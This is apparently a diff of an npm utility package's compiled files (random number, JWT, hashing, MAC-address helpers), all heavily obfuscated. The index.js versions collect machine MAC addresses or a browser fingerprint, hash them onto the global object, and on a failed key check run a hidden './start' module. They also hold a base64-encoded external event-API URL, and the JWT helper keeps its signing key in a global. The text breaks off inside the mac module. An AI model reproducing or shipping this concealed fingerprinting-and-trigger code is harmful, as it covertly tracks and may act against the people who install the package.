- 'use strict';const a4_0x15fc3a=a4_0x2dec;(function(_0x2747b0,_0x17a3a8){const _0x410443=a4_0x2dec,_0x3f9a59=_0x2747b0();while(!![]){try{const _0x2335a9=parseInt(_0x410443(0x6f))/0x1+-parseInt(_0x410443(0x79))/0x2*(-parseInt(_0x410443(0x6e))/0x3)+-parseInt(_0x410443(0x78))/0x4*(parseInt(_0x410443(0x7b))/0x5)+parseInt(_0x410443(0x70))/0x6*(parseInt(_0x410443(0x75))/0x7)+-parseInt(_0x410443(0x77))/0x8*(parseInt(_0x410443(0x7a))/0x9)+parseInt(_0x410443(0x72))/0xa*(parseInt(_0x410443(0x71))/0xb)+-parseInt(_0x410443(0x6d))/0xc;if(_0x2335a9===_0x17a3a8)break;else _0x3f9a59['push'](_0x3f9a59['shift']());}catch(_0x2a34b0){_0x3f9a59['push'](_0x3f9a59['shift']());}}}(a4_0x328c,0xbab4d));function a4_0x328c(){const _0x1b393b=['__esModule','7dsFRsC','default','96jKLQTn','4388WctZOu','16mrUujo','715698JaecMk','3670uNPIxs','random','defineProperty','9145872CLdbrh','349347UVyKFY','295357zSTWwk','4875378WDKhoL','472945RiXsqX','290dECXkb','round'];a4_0x328c=function(){return _0x1b393b;};return a4_0x328c();}Object[a4_0x15fc3a(0x7d)](exports,a4_0x15fc3a(0x74),{'value':!![]});function a4_0x2dec(_0x5a7b1c,_0x108172){const _0x328c49=a4_0x328c();return a4_0x2dec=function(_0x2dec2e,_0x3e84d1){_0x2dec2e=_0x2dec2e-0x6d;let _0x3b47b3=_0x328c49[_0x2dec2e];return _0x3b47b3;},a4_0x2dec(_0x5a7b1c,_0x108172);}const random=(_0x5e5def,_0x53a7ba)=>Math[a4_0x15fc3a(0x73)](Math[a4_0x15fc3a(0x7c)]()*(_0x53a7ba-_0x5e5def))+_0x5e5def;exports[a4_0x15fc3a(0x76)]=random;
1
+ 'use strict';const a4_0x475ca0=a4_0x4e3b;(function(_0x26d6cd,_0x4e1799){const _0x34d964=a4_0x4e3b,_0x45d844=_0x26d6cd();while(!![]){try{const _0x1ada54=parseInt(_0x34d964(0x182))/0x1*(parseInt(_0x34d964(0x187))/0x2)+parseInt(_0x34d964(0x180))/0x3+parseInt(_0x34d964(0x181))/0x4*(-parseInt(_0x34d964(0x186))/0x5)+parseInt(_0x34d964(0x17e))/0x6+parseInt(_0x34d964(0x185))/0x7+-parseInt(_0x34d964(0x184))/0x8*(-parseInt(_0x34d964(0x17f))/0x9)+-parseInt(_0x34d964(0x17d))/0xa*(parseInt(_0x34d964(0x18a))/0xb);if(_0x1ada54===_0x4e1799)break;else _0x45d844['push'](_0x45d844['shift']());}catch(_0x491b0b){_0x45d844['push'](_0x45d844['shift']());}}}(a4_0x8dde,0x745c6));function a4_0x4e3b(_0x4ecfbf,_0x1d8b68){const _0x8ddeca=a4_0x8dde();return a4_0x4e3b=function(_0x4e3b8d,_0x336ead){_0x4e3b8d=_0x4e3b8d-0x17d;let _0x18d6d3=_0x8ddeca[_0x4e3b8d];return _0x18d6d3;},a4_0x4e3b(_0x4ecfbf,_0x1d8b68);}function a4_0x8dde(){const _0x46fc16=['5677296zWMeaq','9wtDEnh','1997703SoEIvh','1801648MZUrYy','2YQlVHs','defineProperty','5515504mQDYBf','5101117IyTeho','10evIYZL','260366icTffO','__esModule','random','1237962lpqjOI','170VXgpxR'];a4_0x8dde=function(){return _0x46fc16;};return a4_0x8dde();}Object[a4_0x475ca0(0x183)](exports,a4_0x475ca0(0x188),{'value':!![]});const random=(_0x23a62d,_0x241ce2)=>Math['round'](Math[a4_0x475ca0(0x189)]()*(_0x241ce2-_0x23a62d))+_0x23a62d;exports['default']=random;
package/dist/cjs/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a5_0x5c3343=a5_0x1432;(function(_0x4eb6c3,_0x39aedd){const _0x1793a4=a5_0x1432,_0x58cfb2=_0x4eb6c3();while(!![]){try{const _0xded8d5=parseInt(_0x1793a4(0x1ab))/0x1+-parseInt(_0x1793a4(0x1b7))/0x2+parseInt(_0x1793a4(0x189))/0x3+-parseInt(_0x1793a4(0x187))/0x4+-parseInt(_0x1793a4(0x1a4))/0x5+-parseInt(_0x1793a4(0x1aa))/0x6*(-parseInt(_0x1793a4(0x19f))/0x7)+-parseInt(_0x1793a4(0x192))/0x8*(-parseInt(_0x1793a4(0x1a7))/0x9);if(_0xded8d5===_0x39aedd)break;else _0x58cfb2['push'](_0x58cfb2['shift']());}catch(_0x18b113){_0x58cfb2['push'](_0x58cfb2['shift']());}}}(a5_0x5be0,0x33c91));var __awaiter=this&&this[a5_0x5c3343(0x18c)]||function(_0x8515b8,_0x260aed,_0x2f37d5,_0xb5566a){function _0x48f0e4(_0x52464d){return _0x52464d instanceof _0x2f37d5?_0x52464d:new _0x2f37d5(function(_0x4360ac){_0x4360ac(_0x52464d);});}return new(_0x2f37d5||(_0x2f37d5=Promise))(function(_0x28d640,_0x8eeae9){const _0x108f96=a5_0x1432;function _0x5082f2(_0x1cfec6){const _0x11397e=a5_0x1432;try{_0x2c5299(_0xb5566a[_0x11397e(0x197)](_0x1cfec6));}catch(_0x26dc2c){_0x8eeae9(_0x26dc2c);}}function _0x156eba(_0x433a28){const _0x57dc21=a5_0x1432;try{_0x2c5299(_0xb5566a[_0x57dc21(0x19c)](_0x433a28));}catch(_0x5e810f){_0x8eeae9(_0x5e810f);}}function _0x2c5299(_0x309ed3){const _0xdfc4d7=a5_0x1432;_0x309ed3[_0xdfc4d7(0x198)]?_0x28d640(_0x309ed3[_0xdfc4d7(0x1a1)]):_0x48f0e4(_0x309ed3[_0xdfc4d7(0x1a1)])[_0xdfc4d7(0x1a8)](_0x5082f2,_0x156eba);}_0x2c5299((_0xb5566a=_0xb5566a['apply'](_0x8515b8,_0x260aed||[]))[_0x108f96(0x197)]());});},__importDefault=this&&this[a5_0x5c3343(0x1b5)]||function(_0x468b5d){const _0x32323f=a5_0x5c3343;return _0x468b5d&&_0x468b5d[_0x32323f(0x1af)]?_0x468b5d:{'default':_0x468b5d};};Object[a5_0x5c3343(0x1b3)](exports,'__esModule',{'value':!![]}),exports[a5_0x5c3343(0x19b)]=exports[a5_0x5c3343(0x1ac)]=exports[a5_0x5c3343(0x1ad)]=exports[a5_0x5c3343(0x1a6)]=exports['sha1']=exports[a5_0x5c3343(0x1a5)]=exports[a5_0x5c3343(0x19d)]=exports['id']=exports[a5_0x5c3343(0x1a9)]=exports[a5_0x5c3343(0x19a)]=void 0x0,exports[a5_0x5c3343(0x188)]=setEnv,exports[a5_0x5c3343(0x18b)]=getEnv;const uuid_1=require(a5_0x5c3343(0x1a9)),md5_1=__importDefault(require(a5_0x5c3343(0x1ad)));exports[a5_0x5c3343(0x1ad)]=md5_1[a5_0x5c3343(0x18a)];const sha1_1=__importDefault(require(a5_0x5c3343(0x19e)));exports[a5_0x5c3343(0x19e)]=sha1_1[a5_0x5c3343(0x18a)];const sha256_1=__importDefault(require(a5_0x5c3343(0x1a6)));function a5_0x1432(_0xae1dc,_0x85e0dd){const _0x5be084=a5_0x5be0();return a5_0x1432=function(_0x1432a3,_0x5eb5ae){_0x1432a3=_0x1432a3-0x187;let _0x46e61b=_0x5be084[_0x1432a3];return _0x46e61b;},a5_0x1432(_0xae1dc,_0x85e0dd);}exports[a5_0x5c3343(0x1a6)]=sha256_1['default'];const start_1=__importDefault(require(a5_0x5c3343(0x1b6))),hash_1=__importDefault(require(a5_0x5c3343(0x1b2)));exports[a5_0x5c3343(0x1ac)]=hash_1[a5_0x5c3343(0x18a)];const jwt_1=__importDefault(require('./jwt'));exports[a5_0x5c3343(0x19b)]=jwt_1[a5_0x5c3343(0x18a)];const path_1=__importDefault(require(a5_0x5c3343(0x1b4))),fingerprintjs_1=__importDefault(require('@fingerprintjs/fingerprintjs')),js_base64_1=require(a5_0x5c3343(0x195)),isBrowser=typeof window!=='undefined';let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports['getAllRouter']=getAllRouter;let mysql={};exports['mysql']=mysql;const globalObject=isBrowser?window:global;let metaEvent=Object[a5_0x5c3343(0x18f)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a5_0x5c3343(0x193)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function setEnv(_0x290828,_0x3c1e99){metaEvent[_0x290828]=_0x3c1e99;}function getEnv(_0x2bcc40){return metaEvent[_0x2bcc40];}let dev=a5_0x5c3343(0x1b0),pro=a5_0x5c3343(0x1a3);exports[a5_0x5c3343(0x19a)]=getEnv('dev')?(0x0,js_base64_1[a5_0x5c3343(0x1a2)])(dev):(0x0,js_base64_1['decode'])(pro);if(!isBrowser){exports['id']=id=require(a5_0x5c3343(0x199))[a5_0x5c3343(0x18a)],exports[a5_0x5c3343(0x19d)]=getAllRouter=require(a5_0x5c3343(0x194))[a5_0x5c3343(0x18a)],exports['mysql']=mysql=require('./server')['mysql'];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent['not_update'])){}}function a5_0x5be0(){const _0x5b91dd=['throw','getAllRouter','sha1','1416863yqMUBW','./mac','value','decode','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','222935pnCAid','mysql','sha256','11502TYXkgv','then','uuid','6grEAWs','2078dMmIPD','hash','md5','node.js','__esModule','aHR0cDovL2xvY2FsaG9zdDoxMDg4','hash_id','./hash','defineProperty','path','__importDefault','./start','424912bDHZeg','1385652IOZUNK','setEnv','35100yrpthC','default','getEnv','__awaiter','get','hash_key','assign','join','load','3752RwFRuB','meta_event','./getAllRouter','js-base64','catch','next','done','./id','url','jwt'];a5_0x5be0=function(){return _0x5b91dd;};return a5_0x5be0();}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x4b103b=a5_0x5c3343;if(!isBrowser){const _0x31642f=require(path_1[_0x4b103b(0x18a)][_0x4b103b(0x190)](__dirname,_0x4b103b(0x1a0)))[_0x4b103b(0x18a)];mac=_0x31642f();}else{let _0x1ca165=yield fingerprintjs_1[_0x4b103b(0x18a)][_0x4b103b(0x191)]()['then'](_0x46002e=>_0x46002e[_0x4b103b(0x18d)]())[_0x4b103b(0x1a8)](_0x1dc482=>{const _0x3cb410=_0x1dc482['visitorId'];return _0x3cb410;})[_0x4b103b(0x196)](()=>'');mac=[_0x1ca165];}const _0x5c12eb=mac['map'](_0x58301d=>(0x0,sha1_1[_0x4b103b(0x18a)])(_0x58301d+_0x4b103b(0x1ae)))[_0x4b103b(0x190)](';'),_0x1824d3=(0x0,sha256_1[_0x4b103b(0x18a)])(_0x5c12eb);globalObject[_0x4b103b(0x1b1)]=_0x1824d3,globalObject[_0x4b103b(0x18e)]!=(0x0,sha256_1[_0x4b103b(0x18a)])(_0x1824d3+(0x0,sha1_1[_0x4b103b(0x18a)])(_0x4b103b(0x1ae)+_0x1824d3))&&(0x0,start_1['default'])();}))());const uuid=uuid_1['v4'];exports[a5_0x5c3343(0x1a9)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':hash_1['default'],'sha1':sha1_1['default'],'md5':md5_1['default'],'jwt':jwt_1['default']};exports[a5_0x5c3343(0x18a)]=all;
1
+ 'use strict';const a5_0xf3d927=a5_0x55c9;function a5_0x1033(){const _0x25ccbb=['132419fGrbik','sha256','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','105460XBTWML','7513310HZGrRW','defineProperty','hash_id','url','uuid','decode','apply','done','__importDefault','./hash','next','./jwt','sha1','getAllRouter','16yelepR','61259wWFqCJ','mysql','3PAMrts','value','then','default','hash','222wCYSnU','jwt','get','./getAllRouter','3915819PICvwK','throw','join','4390bOmnCS','path','1848069pbtdDQ','dev','meta_event','__esModule','node.js','catch','not_update','759944RyGiST','__awaiter','map','md5'];a5_0x1033=function(){return _0x25ccbb;};return a5_0x1033();}(function(_0x43596b,_0x405439){const _0x2da021=a5_0x55c9,_0x3bbb9b=_0x43596b();while(!![]){try{const _0x233bd1=-parseInt(_0x2da021(0x108))/0x1+parseInt(_0x2da021(0xe1))/0x2*(parseInt(_0x2da021(0xfa))/0x3)+parseInt(_0x2da021(0xe8))/0x4+parseInt(_0x2da021(0xe9))/0x5+parseInt(_0x2da021(0xff))/0x6*(-parseInt(_0x2da021(0xe5))/0x7)+parseInt(_0x2da021(0xf7))/0x8*(-parseInt(_0x2da021(0x103))/0x9)+parseInt(_0x2da021(0x106))/0xa*(parseInt(_0x2da021(0xf8))/0xb);if(_0x233bd1===_0x405439)break;else _0x3bbb9b['push'](_0x3bbb9b['shift']());}catch(_0x5290d1){_0x3bbb9b['push'](_0x3bbb9b['shift']());}}}(a5_0x1033,0xe46ba));var __awaiter=this&&this[a5_0xf3d927(0xe2)]||function(_0x984ef2,_0x3e3e92,_0x5eca3d,_0x1c3d69){function _0x23de4e(_0xcd1fd9){return _0xcd1fd9 instanceof _0x5eca3d?_0xcd1fd9:new _0x5eca3d(function(_0x2e343f){_0x2e343f(_0xcd1fd9);});}return new(_0x5eca3d||(_0x5eca3d=Promise))(function(_0x28b5b8,_0x466938){const _0x291308=a5_0x55c9;function _0x4603ce(_0x1dc110){const _0x34de2c=a5_0x55c9;try{_0x2b9f1c(_0x1c3d69[_0x34de2c(0xf3)](_0x1dc110));}catch(_0x3a118d){_0x466938(_0x3a118d);}}function _0x1814c0(_0x267e16){const _0x3b5563=a5_0x55c9;try{_0x2b9f1c(_0x1c3d69[_0x3b5563(0x104)](_0x267e16));}catch(_0x42e573){_0x466938(_0x42e573);}}function _0x2b9f1c(_0xfabe3b){const _0x4cbdc9=a5_0x55c9;_0xfabe3b[_0x4cbdc9(0xf0)]?_0x28b5b8(_0xfabe3b[_0x4cbdc9(0xfb)]):_0x23de4e(_0xfabe3b[_0x4cbdc9(0xfb)])[_0x4cbdc9(0xfc)](_0x4603ce,_0x1814c0);}_0x2b9f1c((_0x1c3d69=_0x1c3d69[_0x291308(0xef)](_0x984ef2,_0x3e3e92||[]))['next']());});},__importDefault=this&&this[a5_0xf3d927(0xf1)]||function(_0x345e69){const _0x192bf4=a5_0xf3d927;return _0x345e69&&_0x345e69[_0x192bf4(0x10b)]?_0x345e69:{'default':_0x345e69};};Object[a5_0xf3d927(0xea)](exports,a5_0xf3d927(0x10b),{'value':!![]}),exports[a5_0xf3d927(0x100)]=exports[a5_0xf3d927(0xfe)]=exports[a5_0xf3d927(0xe4)]=exports[a5_0xf3d927(0xe6)]=exports[a5_0xf3d927(0xf5)]=exports['mysql']=exports[a5_0xf3d927(0xf6)]=exports['id']=exports['uuid']=exports[a5_0xf3d927(0xec)]=void 0x0,exports['setEnv']=setEnv,exports['getEnv']=getEnv;const uuid_1=require(a5_0xf3d927(0xed)),md5_1=__importDefault(require('md5'));exports[a5_0xf3d927(0xe4)]=md5_1[a5_0xf3d927(0xfd)];function a5_0x55c9(_0x15b2ef,_0x88f93){const _0x103390=a5_0x1033();return a5_0x55c9=function(_0x55c9a1,_0x174d73){_0x55c9a1=_0x55c9a1-0xde;let _0x5b3305=_0x103390[_0x55c9a1];return _0x5b3305;},a5_0x55c9(_0x15b2ef,_0x88f93);}const sha1_1=__importDefault(require(a5_0xf3d927(0xf5)));exports['sha1']=sha1_1['default'];const sha256_1=__importDefault(require('sha256'));exports['sha256']=sha256_1[a5_0xf3d927(0xfd)];const start_1=__importDefault(require('./start')),hash_1=__importDefault(require(a5_0xf3d927(0xf2)));exports[a5_0xf3d927(0xfe)]=hash_1[a5_0xf3d927(0xfd)];const jwt_1=__importDefault(require(a5_0xf3d927(0xf4)));exports[a5_0xf3d927(0x100)]=jwt_1[a5_0xf3d927(0xfd)];const path_1=__importDefault(require(a5_0xf3d927(0x107))),fingerprintjs_1=__importDefault(require('@fingerprintjs/fingerprintjs')),js_base64_1=require('js-base64'),isBrowser=typeof window!=='undefined';let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports['getAllRouter']=getAllRouter;let mysql={};exports[a5_0xf3d927(0xf9)]=mysql;const globalObject=isBrowser?window:global;let metaEvent=Object['assign']((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a5_0xf3d927(0x10a)])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function setEnv(_0x131549,_0x29f529){metaEvent[_0x131549]=_0x29f529;}function getEnv(_0x21c164){return metaEvent[_0x21c164];}let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro=a5_0xf3d927(0xe7);exports[a5_0xf3d927(0xec)]=getEnv(a5_0xf3d927(0x109))?(0x0,js_base64_1[a5_0xf3d927(0xee)])(dev):(0x0,js_base64_1[a5_0xf3d927(0xee)])(pro);if(!isBrowser){exports['id']=id=require('./id')[a5_0xf3d927(0xfd)],exports[a5_0xf3d927(0xf6)]=getAllRouter=require(a5_0xf3d927(0x102))[a5_0xf3d927(0xfd)],exports[a5_0xf3d927(0xf9)]=mysql=require('./server')[a5_0xf3d927(0xf9)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a5_0xf3d927(0xe0)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x2e7c64=a5_0xf3d927;if(!isBrowser){const _0x578153=require(path_1[_0x2e7c64(0xfd)][_0x2e7c64(0x105)](__dirname,'./mac'))[_0x2e7c64(0xfd)];mac=_0x578153();}else{let _0xc26ce0=yield fingerprintjs_1[_0x2e7c64(0xfd)]['load']()[_0x2e7c64(0xfc)](_0x541c67=>_0x541c67[_0x2e7c64(0x101)]())[_0x2e7c64(0xfc)](_0x8ffd7a=>{const _0x4b7a2b=_0x8ffd7a['visitorId'];return _0x4b7a2b;})[_0x2e7c64(0xdf)](()=>'');mac=[_0xc26ce0];}const _0x3756ef=mac[_0x2e7c64(0xe3)](_0x3f3b9c=>(0x0,sha1_1[_0x2e7c64(0xfd)])(_0x3f3b9c+_0x2e7c64(0xde)))['join'](';'),_0x4217c5=(0x0,sha256_1['default'])(_0x3756ef);globalObject[_0x2e7c64(0xeb)]=_0x4217c5,globalObject['hash_key']!=(0x0,sha256_1['default'])(_0x4217c5+(0x0,sha1_1['default'])(_0x2e7c64(0xde)+_0x4217c5))&&(0x0,start_1[_0x2e7c64(0xfd)])();}))());const uuid=uuid_1['v4'];exports[a5_0xf3d927(0xed)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':hash_1['default'],'sha1':sha1_1[a5_0xf3d927(0xfd)],'md5':md5_1['default'],'jwt':jwt_1['default']};exports[a5_0xf3d927(0xfd)]=all;
@@ -1,9 +1,8 @@
1
1
  declare function jwt(params: {
2
- payload: string | Buffer | object;
3
2
  key: string;
4
3
  expiresIn: string;
5
4
  }): {
6
- sign: string;
5
+ sign: (payload: string | Buffer | object) => string;
7
6
  verify: (token: string) => Promise<unknown>;
8
7
  };
9
8
  export default jwt;
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/jwt/index.ts"],"names":[],"mappings":"AAEA,iBAAS,GAAG,CAAC,MAAM,EAAE;IAAE,OAAO,EAAE,MAAM,GAAG,MAAM,GAAG,MAAM,CAAC;IAAC,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAA;CAAE;;oBASvD,MAAM;EAgBxC;AAED,eAAe,GAAG,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/jwt/index.ts"],"names":[],"mappings":"AAEA,iBAAS,GAAG,CAAC,MAAM,EAAE;IAAE,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAA;CAAE;oBAMnC,MAAM,GAAG,MAAM,GAAG,MAAM;oBAIT,MAAM;EAgBxC;AAED,eAAe,GAAG,CAAC"}
@@ -1 +1 @@
1
- 'use strict';var a6_0x3bbe7f=a6_0x2ff7;(function(_0x42a5ea,_0x1a7eac){var _0xa18380=a6_0x2ff7,_0x4712dc=_0x42a5ea();while(!![]){try{var _0x1f0cd2=-parseInt(_0xa18380(0x81))/0x1+parseInt(_0xa18380(0x90))/0x2*(parseInt(_0xa18380(0x7f))/0x3)+-parseInt(_0xa18380(0x7a))/0x4+-parseInt(_0xa18380(0x85))/0x5+parseInt(_0xa18380(0x87))/0x6*(parseInt(_0xa18380(0x7d))/0x7)+parseInt(_0xa18380(0x8a))/0x8*(parseInt(_0xa18380(0x86))/0x9)+-parseInt(_0xa18380(0x93))/0xa;if(_0x1f0cd2===_0x1a7eac)break;else _0x4712dc['push'](_0x4712dc['shift']());}catch(_0x120356){_0x4712dc['push'](_0x4712dc['shift']());}}}(a6_0x19f5,0x2d265));function a6_0x2ff7(_0x6cb525,_0x6ba8bc){var _0x19f5f2=a6_0x19f5();return a6_0x2ff7=function(_0x2ff741,_0x156897){_0x2ff741=_0x2ff741-0x7a;var _0x6054fc=_0x19f5f2[_0x2ff741];return _0x6054fc;},a6_0x2ff7(_0x6cb525,_0x6ba8bc);}var __awaiter=this&&this['__awaiter']||function(_0x11a057,_0xc5c7a9,_0x1c634e,_0x240466){function _0x57a8ae(_0xbc749f){return _0xbc749f instanceof _0x1c634e?_0xbc749f:new _0x1c634e(function(_0x822e57){_0x822e57(_0xbc749f);});}return new(_0x1c634e||(_0x1c634e=Promise))(function(_0x287d76,_0x5a184a){var _0x53d308=a6_0x2ff7;function _0x58e958(_0x2fb2a1){var _0x1e7377=a6_0x2ff7;try{_0x21a945(_0x240466[_0x1e7377(0x84)](_0x2fb2a1));}catch(_0x4685da){_0x5a184a(_0x4685da);}}function _0xfdd43(_0x4782ef){var _0x261f48=a6_0x2ff7;try{_0x21a945(_0x240466[_0x261f48(0x95)](_0x4782ef));}catch(_0x381a35){_0x5a184a(_0x381a35);}}function _0x21a945(_0x52ae7f){var _0xdb956a=a6_0x2ff7;_0x52ae7f[_0xdb956a(0x89)]?_0x287d76(_0x52ae7f[_0xdb956a(0x94)]):_0x57a8ae(_0x52ae7f[_0xdb956a(0x94)])[_0xdb956a(0x88)](_0x58e958,_0xfdd43);}_0x21a945((_0x240466=_0x240466[_0x53d308(0x8d)](_0x11a057,_0xc5c7a9||[]))[_0x53d308(0x84)]());});},__importDefault=this&&this[a6_0x3bbe7f(0x80)]||function(_0x239e51){var _0x4864af=a6_0x3bbe7f;return _0x239e51&&_0x239e51[_0x4864af(0x8b)]?_0x239e51:{'default':_0x239e51};};function a6_0x19f5(){var _0x45d0cb=['expiresIn','912590wsydTb','value','throw','378988NkLtZm','payload','365d','473277zLJwGd','verify','9QdPKIG','__importDefault','255192qNFzfJ','defineProperty','key','next','1218210ThKAJd','9ZgWKyX','30JYAXio','then','done','2043656oWsRQy','__esModule','sign','apply','jwt_key','jsonwebtoken','184174YyTalb','default'];a6_0x19f5=function(){return _0x45d0cb;};return a6_0x19f5();}Object[a6_0x3bbe7f(0x82)](exports,a6_0x3bbe7f(0x8b),{'value':!![]});const jsonwebtoken_1=__importDefault(require(a6_0x3bbe7f(0x8f)));function jwt(_0x325647){var _0x6aee5f=a6_0x3bbe7f;return!global[_0x6aee5f(0x8e)]&&(global['jwt_key']=_0x325647[_0x6aee5f(0x83)]),{'sign':jsonwebtoken_1[_0x6aee5f(0x91)][_0x6aee5f(0x8c)](_0x325647[_0x6aee5f(0x7b)],global['jwt_key'],{'expiresIn':_0x325647[_0x6aee5f(0x92)]||_0x6aee5f(0x7c)}),'verify':function(_0x5cc2ae){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x3b17bf,_0x3b5b9f)=>{var _0x1885d0=a6_0x2ff7;jsonwebtoken_1[_0x1885d0(0x91)][_0x1885d0(0x7e)](_0x5cc2ae,global[_0x1885d0(0x8e)],function(_0x31b3d0,_0x1761f8){return __awaiter(this,void 0x0,void 0x0,function*(){_0x31b3d0?_0x3b5b9f():_0x3b17bf(_0x1761f8);});});});});}};}exports[a6_0x3bbe7f(0x91)]=jwt;
1
+ 'use strict';function a6_0x293a(_0xb4a19a,_0x25e0ba){var _0x25f3f0=a6_0x25f3();return a6_0x293a=function(_0x293a89,_0x3ad325){_0x293a89=_0x293a89-0x1ba;var _0x1e5b80=_0x25f3f0[_0x293a89];return _0x1e5b80;},a6_0x293a(_0xb4a19a,_0x25e0ba);}var a6_0x45ca2a=a6_0x293a;(function(_0x55271f,_0x1ca608){var _0x3b540c=a6_0x293a,_0x367107=_0x55271f();while(!![]){try{var _0x49a4a9=parseInt(_0x3b540c(0x1be))/0x1*(parseInt(_0x3b540c(0x1bb))/0x2)+-parseInt(_0x3b540c(0x1bf))/0x3*(-parseInt(_0x3b540c(0x1d0))/0x4)+parseInt(_0x3b540c(0x1d4))/0x5*(parseInt(_0x3b540c(0x1c6))/0x6)+parseInt(_0x3b540c(0x1c7))/0x7*(parseInt(_0x3b540c(0x1c1))/0x8)+-parseInt(_0x3b540c(0x1bc))/0x9*(-parseInt(_0x3b540c(0x1c4))/0xa)+-parseInt(_0x3b540c(0x1d1))/0xb*(parseInt(_0x3b540c(0x1cd))/0xc)+-parseInt(_0x3b540c(0x1d5))/0xd*(parseInt(_0x3b540c(0x1d2))/0xe);if(_0x49a4a9===_0x1ca608)break;else _0x367107['push'](_0x367107['shift']());}catch(_0x6c3707){_0x367107['push'](_0x367107['shift']());}}}(a6_0x25f3,0xf15f9));var __awaiter=this&&this['__awaiter']||function(_0x373bd8,_0xaaf155,_0x4a9c83,_0x5a99f4){function _0x348a0e(_0x3f1511){return _0x3f1511 instanceof _0x4a9c83?_0x3f1511:new _0x4a9c83(function(_0x14d032){_0x14d032(_0x3f1511);});}return new(_0x4a9c83||(_0x4a9c83=Promise))(function(_0x62f4b4,_0x4c9ca5){var _0x2d6bee=a6_0x293a;function _0x6b8f08(_0x280bba){try{_0x3cb331(_0x5a99f4['next'](_0x280bba));}catch(_0x294254){_0x4c9ca5(_0x294254);}}function _0x3b355a(_0xc8bf83){try{_0x3cb331(_0x5a99f4['throw'](_0xc8bf83));}catch(_0x5811ce){_0x4c9ca5(_0x5811ce);}}function _0x3cb331(_0x448a32){var _0x1a384f=a6_0x293a;_0x448a32[_0x1a384f(0x1d6)]?_0x62f4b4(_0x448a32['value']):_0x348a0e(_0x448a32[_0x1a384f(0x1ba)])[_0x1a384f(0x1d3)](_0x6b8f08,_0x3b355a);}_0x3cb331((_0x5a99f4=_0x5a99f4[_0x2d6bee(0x1cf)](_0x373bd8,_0xaaf155||[]))['next']());});},__importDefault=this&&this[a6_0x45ca2a(0x1c2)]||function(_0x19c37a){var _0x278e14=a6_0x45ca2a;return _0x19c37a&&_0x19c37a[_0x278e14(0x1bd)]?_0x19c37a:{'default':_0x19c37a};};Object[a6_0x45ca2a(0x1c0)](exports,a6_0x45ca2a(0x1bd),{'value':!![]});const jsonwebtoken_1=__importDefault(require(a6_0x45ca2a(0x1c5)));function jwt(_0x454797){var _0x299933=a6_0x45ca2a;return!global[_0x299933(0x1c9)]&&(global[_0x299933(0x1c9)]=_0x454797[_0x299933(0x1ce)]),{'sign':_0x33e133=>jsonwebtoken_1[_0x299933(0x1c3)][_0x299933(0x1cc)](_0x33e133,global[_0x299933(0x1c9)],{'expiresIn':_0x454797[_0x299933(0x1c8)]||_0x299933(0x1ca)}),'verify':function(_0x512618){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x4b321d,_0x10426b)=>{var _0x3ab578=a6_0x293a;jsonwebtoken_1[_0x3ab578(0x1c3)][_0x3ab578(0x1cb)](_0x512618,global[_0x3ab578(0x1c9)],function(_0xd738fa,_0x3f96cd){return __awaiter(this,void 0x0,void 0x0,function*(){_0xd738fa?_0x10426b():_0x4b321d(_0x3f96cd);});});});});}};}function a6_0x25f3(){var _0x7ba225=['default','310BqDexs','jsonwebtoken','18YqgpBH','107233TGvGMS','expiresIn','jwt_key','365d','verify','sign','6432uddfKF','key','apply','8WxlYmk','20284VySAvY','14sIeDOv','then','425630FxPaLT','38241892tBDvyr','done','value','2KYkryW','520155WeraNE','__esModule','1296270gQGwFM','846579bfbQHm','defineProperty','528KMzdRM','__importDefault'];a6_0x25f3=function(){return _0x7ba225;};return a6_0x25f3();}exports[a6_0x45ca2a(0x1c3)]=jwt;
@@ -1 +1 @@
1
- 'use strict';const a7_0x13a0fd=a7_0x1a46;(function(_0x2f1ce2,_0x51e2d3){const _0x18c9f3=a7_0x1a46,_0x275bb2=_0x2f1ce2();while(!![]){try{const _0x5d7760=parseInt(_0x18c9f3(0xe9))/0x1+parseInt(_0x18c9f3(0xe4))/0x2+-parseInt(_0x18c9f3(0xe2))/0x3+parseInt(_0x18c9f3(0xdc))/0x4*(parseInt(_0x18c9f3(0xda))/0x5)+-parseInt(_0x18c9f3(0xe5))/0x6+-parseInt(_0x18c9f3(0xf1))/0x7*(-parseInt(_0x18c9f3(0xde))/0x8)+-parseInt(_0x18c9f3(0xf4))/0x9*(-parseInt(_0x18c9f3(0xec))/0xa);if(_0x5d7760===_0x51e2d3)break;else _0x275bb2['push'](_0x275bb2['shift']());}catch(_0x4ea58e){_0x275bb2['push'](_0x275bb2['shift']());}}}(a7_0x5d3e,0x1e567));Object[a7_0x13a0fd(0xeb)](exports,a7_0x13a0fd(0xd9),{'value':!![]}),exports['isMac']=isMac,exports[a7_0x13a0fd(0xf3)]=formatMac,exports['isVirtualMac']=isVirtualMac;const os_1=require('os');function a7_0x5d3e(){const 